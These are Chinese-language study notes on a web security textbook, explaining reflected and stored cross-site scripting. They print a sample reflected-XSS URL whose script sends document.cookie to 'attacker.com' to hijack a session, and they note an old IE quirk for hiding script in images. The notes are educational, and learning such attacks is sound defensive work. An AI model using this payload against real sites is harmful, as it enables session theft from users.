黑客攻防技术宝典 — Notes 9.1 针对客户端的攻击 — 跨站点脚本XSS(1)

FYI,
软件安全领域的关注焦点已从服务器端攻击转变为客户端攻击

原书说，“
XSS攻击是针对其它用户的重量级攻击”

1.反射型漏洞

   a.URL参数中接受一个文本 http://hello.com/msg.jsp?msg=
Sorry，页面渲染后这个文本将打

印在页面上 <p>Sorry</p>，亦即将用户在HTTP参数中输入的文本“
反射”给用户

   b.攻击者在参数中不输入正常的文本，而是一段javascript，然后把这个URL发给一个用户

        http://hello.com/msg.jsp?msg=

<script>var+i=new+Image;+i.src="http://attacker.com/"%2bdocument.cookie;</script>

   c.收到这个URL的用户点击之，就会使浏览器执行以下脚本

  

     var i = new Image;
     i.src="http://attacker.com/"+[b]document.cookie[/b];

 

     也就是说把自己的cookie发给了攻击者拥有的网站 "http://attacker.com/"。攻击者就这样简单地

挟持了一个会话。

     这个脚本收集了 hello.com的Cookie，却把Cookie发到了 attacker.com，也就是说，这是个
跨站点的脚本

2.保存型漏洞

   发表文章时，写入一段脚本，其他用户看你的帖子时就会执行这段脚本。

   这种攻击很厉害：反射型攻击需要诱使别人点你的链接，这种攻击不用；别人点你的链接时基本上已

经登录了，这样你劫持到的session就更好用。

   你甚至可以把脚本写入到图片中，对某些版本的IE来说，如果输入 http://../actual_script.jpg，

IE浏览器会把它当HTML来解析。